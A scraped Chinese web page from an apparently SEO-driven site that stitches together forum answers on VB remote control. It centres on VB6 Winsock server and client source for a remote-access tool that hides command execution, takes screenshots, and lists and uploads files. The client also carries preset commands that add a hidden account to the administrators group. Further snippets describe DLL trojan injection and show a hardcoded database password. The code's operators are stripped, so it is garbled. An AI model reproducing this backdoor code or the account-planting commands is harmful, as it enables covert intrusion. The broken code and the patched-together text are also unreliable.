遠程通過網(wǎng)頁控制服務器進程

借用目前國內(nèi)外最流行的遠程控制軟件平臺，比如網(wǎng)絡人遠程控制軟件，無需做端口映射即可穿透任何內(nèi)網(wǎng)，對局域網(wǎng)內(nèi)的任意電腦進行遠程控制、屏幕監(jiān)控、視頻監(jiān)控、文件管理、系統(tǒng)進程觀察等等操作;是遠程服務器高效管理的必備工具。點此下載免費使用。

站在用戶的角度思考問題，與客戶深入溝通，找到建始網(wǎng)站設計與建始網(wǎng)站推廣的解決方案，憑借多年的經(jīng)驗，讓設計與互聯(lián)網(wǎng)技術(shù)結(jié)合，創(chuàng)造個性化、用戶體驗好的作品，建站類型包括：網(wǎng)站設計、成都網(wǎng)站制作、企業(yè)官網(wǎng)、英文網(wǎng)站、手機端網(wǎng)站、網(wǎng)站推廣、域名注冊、虛擬主機、企業(yè)郵箱。業(yè)務覆蓋建始地區(qū)。

2

有服務器上操作系統(tǒng)的賬號、密碼以及該服務器的ip地址。如果是管理員組的賬號，可以考慮用telnet登陸該服務器，條件是該服務器開telnet服務。在cmd下，用命令操作。

誰有Vb 遠程控制的代碼呀，利用winsock編寫的，客戶端和服務器端，能控制對方界面的，

其實很簡單 就是一個 wisock 控件

下面是說明

用wisock控件做，必須知道一方的IP，如被控制方IP。

被控制方程序：

Private Sub Form_Load()

Winsock1.LocalPort = 2555

Winsock1.Listen

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

Winsock2(i).Accept requestID

End Sub

Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal As Long)

Dim strtmp As String

Winsock2(Index).GetData strtmp

'判斷strtmp，是指定內(nèi)容，就執(zhí)行相關(guān)代碼。略

End Sub

控制方程序：（假設對方IP是222.222.222.222）

Private Sub Command1_Click()

Dim strtmp As String

strtmp = Text1

While Winsock1.State 7

DoEvents

Wend

Winsock1.SendData strtmp

End Sub

Private Sub Form_Load()

Winsock1.Connect "222.222.222.222", 2555

End Sub 附件： 我的源代碼

--------------服務端

Option Explicit

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Const theScreen = 1

Const theForm = 0

Dim filetypes As String

'查找第一個文件的API

Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

'查找下一個文件的API

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

'獲取文件屬性的API

Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long

'關(guān)閉查找文件的API

Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

'以下為調(diào)用瀏覽文件夾窗口的API

Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)

Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long

Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long

Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long

'常量

Const MAX_PATH = 260

Const MAXDWORD = HFFFF

Const INVALID_HANDLE_VALUE = -1

Const FILE_ATTRIBUTE_ARCHIVE = H20

Const FILE_ATTRIBUTE_DIRECTORY = H10

Const FILE_ATTRIBUTE_HIDDEN = H2

Const FILE_ATTRIBUTE_NORMAL = H80

Const FILE_ATTRIBUTE_READONLY = H1

Const FILE_ATTRIBUTE_SYSTEM = H4

Const FILE_ATTRIBUTE_TEMPORARY = H100

Const BIF_RETURNONLYFSDIRS = 1

Private Type FILETIME

dwLowDateTime As Long

dwHighDateTime As Long

End Type

'定義類(用于查找文件)

Private Type WIN32_FIND_DATA

dwFileAttributes As Long

ftCreationTime As FILETIME

ftLastAccessTime As FILETIME

ftLastWriteTime As FILETIME

nFileSizeHigh As Long

nFileSizeLow As Long

dwReserved0 As Long

dwReserved1 As Long

cFileName As String * MAX_PATH

cAlternate As String * 14

End Type

'定義類(用于瀏覽文件夾窗口)

Private Type BrowseInfo

hWndOwner As Long

pIDLRoot As Long

pszDisplayName As Long

lpszTitle As Long

ulFlags As Long

lpfnCallback As Long

lParam As Long

iImage As Long

End Type

'自定義函數(shù)

Function StripNulls(OriginalStr As String) As String

If (InStr(OriginalStr, Chr(0)) 0) Then

OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)

End If

StripNulls = OriginalStr

End Function

'自定義函數(shù)

Function FindFilesAPI(path As String, SearchStr As String, FileCount As Integer, _

DirCount As Integer)

SearchStr = "*.*"

Dim wenjianmulu As String

Dim FileName As String ' 文件名

Dim DirName As String ' 子目錄名

Dim dirNames() As String ' 目錄數(shù)組

Dim nDir As Integer ' 當前路徑的目錄數(shù)

Dim i As Integer ' 循環(huán)計數(shù)器變量

Dim hSearch As Long ' 搜索句柄變量

Dim WFD As WIN32_FIND_DATA

Dim Cont As Integer

If Right(path, 1) "\" Then path = path "\"

'搜索子目錄

nDir = 0

ReDim dirNames(nDir)

Cont = True

hSearch = FindFirstFile(path "*", WFD)

If hSearch INVALID_HANDLE_VALUE Then

Do While Cont

DirName = StripNulls(WFD.cFileName)

If (DirName ".") And (DirName "..") Then

If GetFileAttributes(path DirName) And FILE_ATTRIBUTE_DIRECTORY Then

dirNames(nDir) = DirName

DirCount = DirCount + 1

nDir = nDir + 1

ReDim Preserve dirNames(nDir)

End If

End If

Cont = FindNextFile(hSearch, WFD) '獲取下一個子目錄

Loop

Cont = FindClose(hSearch)

End If

' 遍歷目錄并累計文件總數(shù)

hSearch = FindFirstFile(path SearchStr, WFD)

Cont = True

If hSearch INVALID_HANDLE_VALUE Then

While Cont

FileName = StripNulls(WFD.cFileName)

If (FileName ".") And (FileName "..") Then

FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow

FileCount = FileCount + 1

List1.AddItem path FileName Format(((WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow) / 1024, "#,###,###,##0") "k"

wenjianmulu = wenjianmulu + "llwjml" path FileName

End If

Cont = FindNextFile(hSearch, WFD) ' 獲取下一個文件

Wend

Cont = FindClose(hSearch)

End If

'如果子目錄存在則遍歷之

Ws.SendData wenjianmulu

End Function

Private Sub Command2_Click()

Print Ws.State

End Sub

Private Sub Command3_Click()

Dim FileName As String

FileName = Trim(Text2.Text)

Dim Buffer() As Byte

Dim fLen As Long

Dim FPath As String

FPath = FileName

fLen = FileLen(FPath)

ReDim Buffer(fLen - 1)

Open FPath For Binary As #3

Get #3, 1, Buffer

Close #3

Ws.SendData Buffer

End Sub

Private Sub Form_Load()

Ws.LocalPort = 7758

Ws.Listen

'傳遞文件類型

End Sub

Private Sub List1_DblClick()

MsgBox List1.Text

End Sub

Private Sub Ws_Close()

Ws.Close

Ws.Listen

End Sub

Private Sub Ws_ConnectionRequest(ByVal requestID As Long)

If Ws.State sckClosed Then Ws.Close

Ws.Accept requestID

End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)

Dim tmp As String, tmp1 As String

Ws.GetData tmp, vbString

tmp1 = Mid(tmp, 1, 6)

Select Case tmp1

Case "msgbox"

MsgBox Mid(tmp, 7), vbOKOnly, "警告!"

Case "dakaiw"

Call FindFilesAPI(Mid(tmp, 7), "*.*", 1, 1)

Case "yunxin"

Shell Mid(tmp, 7), vbHide

Case "yuanpm"

'MsgBox Mid(tmp, 7)

Call keybd_event(vbKeySnapshot, theForm, 0, 0)

'若theForm改成theScreen則Copy整個Screen

DoEvents

Picture1.Picture = Clipboard.GetData(vbCFBitmap)

SavePic Picture1.Picture, "C:\\1.gif", ".gif"

Dim Buffer1() As Byte

Dim fLen1 As Long

Dim FPath1 As String

FPath1 = "C:\\1.gif"

fLen1 = FileLen(FPath1)

ReDim Buffer1(fLen1 - 1)

Open FPath1 For Binary As #3

Get #3, 1, Buffer1

Close #3

Ws.SendData Buffer1

Case "xiazai"

Dim FileName As String

FileName = Mid(tmp, 7)

Dim Buffer() As Byte

Dim fLen As Long

Dim FPath As String

FPath = FileName

fLen = FileLen(FPath)

ReDim Buffer(fLen - 1)

Open FPath For Binary As #3

Get #3, 1, Buffer

Close #3

Ws.SendData Buffer

End Select

End Sub

Sub Command1_Click()

Dim SearchPath As String, FindStr As String

Dim FileSize As Long

Dim NumFiles As Integer, NumDirs As Integer

Dim iNull As Integer, lpIDList As Long, lResult As Long

Dim sPath As String, udtBI As BrowseInfo

With udtBI

'設置瀏覽窗口

.hWndOwner = Me.hWnd

'.lpszTitle = "瀏覽器的標題" '但我試了很多次都出錯（出錯碼13）

'返回選中的目錄

.ulFlags = BIF_RETURNONLYFSDIRS

End With

'調(diào)出瀏覽窗口

lpIDList = SHBrowseForFolder(udtBI)

'如果點擊“取消”，則關(guān)閉瀏覽窗口

If lpIDList = 0 Then Exit Sub

If lpIDList Then

sPath = String$(MAX_PATH, 0)

'獲取路徑

SHGetPathFromIDList lpIDList, sPath

'釋放內(nèi)存

CoTaskMemFree lpIDList

iNull = InStr(sPath, vbNullChar)

If iNull Then

sPath = Left$(sPath, iNull - 1)

End If

End If

Screen.MousePointer = vbHourglass

'List1.Clear

SearchPath = sPath '選中的目錄為搜索的起始路徑

FindStr = filetypes '搜索所有類型的文件(此處可另作定義)

On Error Resume Next

FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)

Text1.Text = "查找到的文件數(shù)：" NumFiles "個 " vbCrLf "查找的目錄數(shù)：" _

NumDirs + 1 "個 " vbCrLf "文件大小總共為：" _

Format(FileSize, "#,###,###,##0") "字節(jié)"

Screen.MousePointer = vbDefault

'顯示文件大小時，如果文件太多會出錯，我想不出解決的辦法

End Sub

--------客戶端

Dim strFileName As String

Private Sub Command3_Click()

Wc.SendData "yunxin" Combo2.Text

End Sub

Private Sub Command5_Click() '下載文件

If Dir(strFileName) "" Then

Kill strFileName

End If

Wc.SendData "xiazai" List1.Text

strFileName = "c:\\" Right(List1.Text, 5)

End Sub

Private Sub Command6_Click()

If Dir(strFileName) "" Then

Kill strFileName

End If

strFileName = "C:\\chongwu123.gif"

Wc.SendData "yuanpm" "fffff"

If MsgBox("444", vbOKCancel) = 2 Then

End If

Form2.Show

End Sub

Private Sub Form_Load()

strFileName = InputBox("baocun", , "C:\\chongwu123.gif")

Wc.RemoteHost = "127.0.0.1" '遠程IP地址

Wc.RemotePort = 7758 '遠程端口

Wc.Connect

Combo1.AddItem "C:\"

Combo1.AddItem "D:\"

Combo1.AddItem "E:\"

Combo1.AddItem "F:\"

Combo1.AddItem "G:\"

Combo1.AddItem "H:\"

Combo1.AddItem "C:\WINDOWS"

Combo1.AddItem "C:\WINDOWS\system32"

Combo1.AddItem "C:\Documents and Settings\All Users\「開始」菜單\程序\啟動"

Combo1.AddItem "C:\Program Files"

Combo2.AddItem "cmd /c net user qyjack qyjack /add"

Combo2.AddItem "cmd /c net user qyjack /del"

Combo2.AddItem "cmd /c net user guest /active:yes"

Combo2.AddItem "cmd /c net localgroup administrators qyjack /add"

End Sub

Private Sub Wc_ConnectionRequest(ByVal requestID As Long)

If Wc.State sckClosed Then Wc.Close

Wc.Accept requestID

End Sub

Private Sub Command1_Click() '打開目錄

If Dir(strFileName) "" Then

Kill strFileName

End If

Dim str As String, str1 As String

str1 = Trim(Combo1.Text)

str = "dakaiw" str1

Wc.SendData str

End Sub

Private Sub List1_DblClick()

If Dir(strFileName) "" Then

Kill strFileName

End If

Wc.SendData "dakaiw" List1.Text

End Sub

Private Sub Command2_Click() '發(fā)送消息

Dim str As String, str1 As String

str1 = Trim(Text2.Text)

str = "msgbox" str1

Wc.SendData str

End Sub

Private Sub Wc_DataArrival(ByVal bytesTotal As Long)

Dim tmp As String, tmp1 As String, b() As String, i As Integer

Dim Buffer() As Byte

ReDim Buffer(bytesTotal)

'Wc.GetData tmp, vbString

Wc.GetData Buffer

Dim getLen As Long

Open strFileName For Binary As #1

getLen = LOF(1)

Put #1, getLen + 1, Buffer

Close #1

Open strFileName For Input As #2

Input #2, tmp

Close #2

Text5 = tmp

tmp1 = Mid(tmp, 1, 6)

Select Case tmp1

Case "llwjml"

List1.Clear

b() = Split(tmp, "llwjml")

For i = 1 To UBound(b, 1)

List1.AddItem b(i)

Next i

Case Else

End Select

End Sub

VB.NET下如何進行遠程線程注入

首先來了解遠程線程注入遠程線程插入（注入）技術(shù)指的是通過在另一個進程中創(chuàng)建遠程線程的方法進入目標進程的內(nèi)存地址空間。將木馬程序以DLL的形式實現(xiàn)后，需要使用插入到目標進程中的遠程線程將該木馬DLL插入到目標進程的地址空間，即利用該線程通過調(diào)用Windows API LoadLibrary函數(shù)來加載木馬DLL，從而實現(xiàn)木馬對系統(tǒng)的侵害。 這種技術(shù)一般用于外掛 當外掛注入到游戲中時 你的電腦也就中啦木馬 一般的解決方法　wmiprvse.exe是一個系統(tǒng)服務的進程，你可以結(jié)束任務，進程自然消失。 禁用Windows Management Instrumentation Driver Extensions服務或者改為手動 具體：桌面-我的電腦-管理-服務和應用程序-服務 里面有個Windows Management Instrumentation 右鍵—禁用就可以了. 我也用過，感覺第二種方法較好。 解除命令方法：同樣操作復制下邊的命[1][2][3]令粘貼輸入，回車確定。即可、 reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiprvse.exe” /f希望會幫到你

現(xiàn)在需要寫代碼(VB.NET，C#也行)，要連接遠程電腦(有登陸用戶名和密碼)，該怎么寫？Thans??！

1：連接遠程電腦，這個技能你能處理不？

1.1：不能處理，那么想問下，連接遠程電腦是怎么樣方式，使用telnet?還是什么？你要連接人家的電腦，肯定對方要開放端口，或者提供服務。比如sqlserver，你連接遠程電腦上的sqlserver服務。

1.1.1舉個例子，你使用telnet連接對方的電腦，要求對方是提供并使telnet服務可用的，那么你先向?qū)Ψ桨l(fā)送一個請求，對方電腦會回復你提示是否可以正常通信。正常情況下，對方電腦要求你輸入用戶名和密碼。如果兩者正常，那么提示你登錄成功。

1.2：如果連接遠程電腦，你可以解決，不用考慮，那么樓主你是想實現(xiàn)以后可以不用再輸入用戶名和密碼就可以直接登錄是不？

2：處理登錄一次成功后，以后不用再次輸入用戶名和密碼

2.1其實說到底，以后不用再次輸入，那么就是讓程序?qū)崿F(xiàn)自動輸入用戶名和密碼，不用你去輸入，是不？

2.2你在第一次登錄成功后，就應該把對方電腦的名稱（或者地址），包括用戶名和密碼保存起來。下次程序自動去判斷，當前操作的是不是曾經(jīng)登錄成功過的電腦。用保存起來的用戶名和密碼進行自動登錄。

2.3延深開來。登錄時，作下確認是否需要進行下次自動登錄，需要的情況下，保存相關(guān)2.2的信息。

2.4再延深，你可以設置保存的信息多久失效，比如15天之間沒有使用過的情況下，連接電腦時要求重新輸入用戶名和密碼。（此時，需要在每次登錄成功后，都在2.2的信息上，記錄下最后一次登錄的時間）

vb.net如何連接遠程db2數(shù)據(jù)庫

如果要程序直接連接DB2數(shù)據(jù)庫，必須要有連接數(shù)據(jù)庫的驅(qū)動程序，連接的代碼，你可以參考如下（以前用C#寫的，你改成VB.NET即可，ODBC連接對象）

public?OdbcConnection?Db2Conn()

{

string?str?=?"DRIVER=IBM?DB2?ODBC?DRIVER;UID=db2admin;PWD=db2admin;AUTHENTICATION=SERVER;PORT=50000;HOSTNAME=192.168.100.98;PROTOCOL=TCPIP;DATABASE=YCDATA";

OdbcConnection?Conn?=?new?OdbcConnection(str);

return?Conn;

}

如果你是開發(fā)桌面程序而又不想在客戶端安裝數(shù)據(jù)庫的驅(qū)動程序，那么你可以采用web網(wǎng)站（含webservice）或者remoting方式，只需要在服務端安裝驅(qū)動即可

網(wǎng)頁標題：vb.net遠程控制,vb遠程控制源碼
標題來源：http://www.ekvhdxd.cn/article6/phcoog.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián)，為您提供小程序開發(fā)、網(wǎng)站維護、網(wǎng)站內(nèi)鏈、商城網(wǎng)站、網(wǎng)站改版、網(wǎng)站制作

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時需注明來源： 創(chuàng)新互聯(lián)